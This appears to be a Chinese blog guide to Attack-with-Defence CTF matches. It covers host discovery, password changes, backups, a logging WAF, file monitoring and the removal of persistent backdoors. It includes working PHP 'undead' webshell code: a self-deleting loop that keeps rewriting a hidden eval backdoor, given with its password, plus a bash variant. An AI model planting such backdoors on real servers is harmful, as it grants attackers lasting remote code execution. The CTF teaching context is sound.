Attack With Defence 主机发现: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 import urllib.requestimport timeopener = urllib.request.build_opener() opener.addheaders = [('User-agent' , 'Mozilla/49.0.2' )] for n in range (1 , 255 ): nb = str (n) target = 'http://192-168-1-' + nb + '.pvp1453.bugku.cn/' new = open ('C:/Users/HP/Desktop/bugkuwz.txt' , mode='a+' , encoding='utf-8' ) new.write(target) new.write('\n' ) file = open ('C:/Users/HP/Desktop/bugkuwz.txt' ) lines = file.readlines() aa = [] for line in lines: temp = line.replace('\n' , '' ) aa.append(temp) print ('存活网站如下:' )for a in aa: tempUrl = a try : opener.open (tempUrl) print (tempUrl) except urllib.error.HTTPError: time.sleep(0.5 ) except urllib.error.URLError: time.sleep(0.5 ) time.sleep(0.1 )
修改SSH密码 1 2 passwd username # 输入密码确认即可
修改数据库密码及备份数据库(以 mysql 为例) 1 2 3 4 5 6 7 8 9 10 11 12 1. 登录 mysql 终端,运行: mysql> set password=password('new password'); mysql>flush privileges; 2. 修改 mysql user 表 mysql>use mysql; mysql>update user set password=password('new password') where user='root'; mysql>flush privileges; 3. 使用 GRANT 语句 mysql>GRANT ALL PRIVILEGES ON *.* TO 'root'@'127.0.0.1' IDENTIFIED BY 'new password' WITH GRANT OPTION; mysql>flush privileges; 4. mysqladmin [root@ubuntu]# mysqladmin -u root password "new password";(注意双引号或不加)
备份指定的多个数据库
1 [root@ubuntu]# mysqldump -u root -p --databases databasesname > /tmp/db.sql
数据库恢复,在mysql终端下执行
1 2 # 命令格式:source FILE_PATH source ~/db.sql(原数据库需存在)
比赛前一定要快速修改密码和备份,否则密码被别人更改需要重置环境就尴尬了,修改数据库密码后注意修改源码配置文件,避免服务崩溃。同时赛前也可以准备些例如 phpmyadmin 的批量爆破和改密的脚本。
源码备份 1 2 3 4 # 打包目录 tar -zcvf archive_name.tar.gz directory_to_compress # 解包 tar -zxvf archive_name.tar.gz
之后使用 scp 命令或者 winscp,mobaxterm 等工具下载打包后的源码
上 WAF 备份好源码之后要做的就是监控访问,截取攻击向量,做好流量重放的准备。一般的 WAF 只需要做到记录访问的基本信息如时间,ip,get,post,cookie,UA即可。也可以自行编写通防 WAF,功能如关键字检测,截取上传文件内容等。
但一般通防 WAF 会影响主办方 check,使用需谨慎,同时注意上 WAF 崩溃的问题。
可以使用 bash 命令在每一个 php 文件前面加上 require_once
包含 WAF 文件
1 2 # 批量加waf /var/www/html/ 目录下每个 php 文件前加上 <?php require_once "/tmp/waf.php";?> find /var/www/html/ -path /var/www/html/124687a7bc37d57cc9ecd1cbd9d676f7 -prune -o -type f -name '*.php'|xargs sed -i '1i<?php require_once "/tmp/waf.php";?>'
也可以修改 php.ini 的 auto_prepend_file 属性,但一般不会有重启 php 服务权限
1 2 3 ; Automatically add files before PHP document. ; http://php.net/auto-prepend-file auto_prepend_file = /tmp/waf.php
附上郁离歌的一枚 WAF,会在 /tmp/loooooooogs
目录下生成日志文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 error_reporting(0); define('LOG_FILEDIR','/tmp/loooooooogs'); if(!is_dir(LOG_FILEDIR)){ mkdir(LOG_FILEDIR); } function waf() { if (!function_exists('getallheaders')) { function getallheaders() { foreach ($_SERVER as $name => $value) { if (substr($name, 0, 5) == 'HTTP_') $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value; } return $headers; } } $get = $_GET; $post = $_POST; $cookie = $_COOKIE; $header = getallheaders(); $files = $_FILES; $ip = $_SERVER["REMOTE_ADDR"]; $method = $_SERVER['REQUEST_METHOD']; $filepath = $_SERVER["SCRIPT_NAME"]; foreach ($_FILES as $key => $value) { $files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']); file_put_contents($_FILES[$key]['tmp_name'], "virink"); } unset($header['Accept']); $input = array("Get"=>$get, "Post"=>$post, "Cookie"=>$cookie, "File"=>$files, "Header"=>$header); logging($input); } function logging($var){ $filename = $_SERVER['REMOTE_ADDR']; $LOG_FILENAME = LOG_FILEDIR."/".$filename; $time = date("Y-m-d G:i:s"); file_put_contents($LOG_FILENAME, "\r\n".$time."\r\n".print_r($var, true), FILE_APPEND); file_put_contents($LOG_FILENAME,"\r\n".'http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'], FILE_APPEND); file_put_contents($LOG_FILENAME,"\r\n***************************************************************",FILE_APPEND); } waf();
生成的日志是 www-data 权限,一般 ctf 权限是删除不了的。上好 WAF 之后做好打包备份,除了源文件一份备份,我一般上好 WAF ,打好补丁还会做备份。
文件监控 网上有很多文件监控的脚本,也可以使用 bash 命令自行查找出例如10分钟内修改过的 php 文件,这里推荐一个师傅的文件监控工具,文件相关操作都清晰明了。
https://github.com/TheKingOfDuck/FileMonitor
线下环境一般不能访问外网,所以需要提前下载好脚本和相关依赖,这个工具需要 watchdog
依赖,也是要提前准备的。
使用 touch
命令修改文件时间戳可以一定程度防范对文件的检测。
权限维持——不死马 不死马也称内存马,删除掉木马之后,由于操作存于内存当中,还是会不断地生成木马,达到权限维持的目的。
6.1. 不死马使用 常规不死马,先删除自身,不断生成 .index.php
文件
1 2 3 4 5 6 7 8 9 10 11 12 ignore_user_abort(true); set_time_limit(0); unlink(__FILE__); $file = './.index.php'; $code = '<?php if(md5($_POST["pass"])=="3a50065e1709acc47ba0c9238294364f"){@eval($_POST[a]);} ?>'; //pass=Sn3rtf4ck 马儿用法:fuckyou.php?pass=Sn3rtf4ck&a=command while (1){ file_put_contents($file,$code); usleep(5000); }
这里添加了一个密码 pass
防止别人借刀杀人,我们平时也可以编写自己的木马,别人就算拿到木马也不知道怎么利用,附上一句话木马的各种变形
http://www.secist.com/archives/1947.html
bash 命令不死马,效果也是不断生成 .index.php
文件,也可以使用命令不断创建 nc 后门
1 system('while true;do echo \'<?php if(md5($_GET[pass])==\"3a50065e1709acc47ba0c9238294364f\"){@eval($_GET[a]);} ?>\' >fuck.php;sleep 0.1;done;');
6.2. 不死马的克制
杀掉不死马运行的进程,直接删除脚本没用,因为php执行的时候已经把脚本读进去解释成opcode运行了
ps aux
查看运行的进程
www-data 权限运行了 4 个 apache 进程,不死马随机运行于这 4 个进程,直接 kill pid
(www-data 权限下)全部杀掉这几个进程就可以了
可以使用 kill -9 -1
杀死当前用户所有进程(有权限下慎用),也可以直接 killall apache2
杀掉 apache 所有子进程
重启 apache,php 等web服务(一般不会有权限)
1 2 service apache2 restart service php restart
用一个脚本竞争写入,脚本同不死马,usleep要低于对方不死马设置的值
创建一个和不死马生成的马一样名字的文件夹,测试了下需要先删除再创建文件夹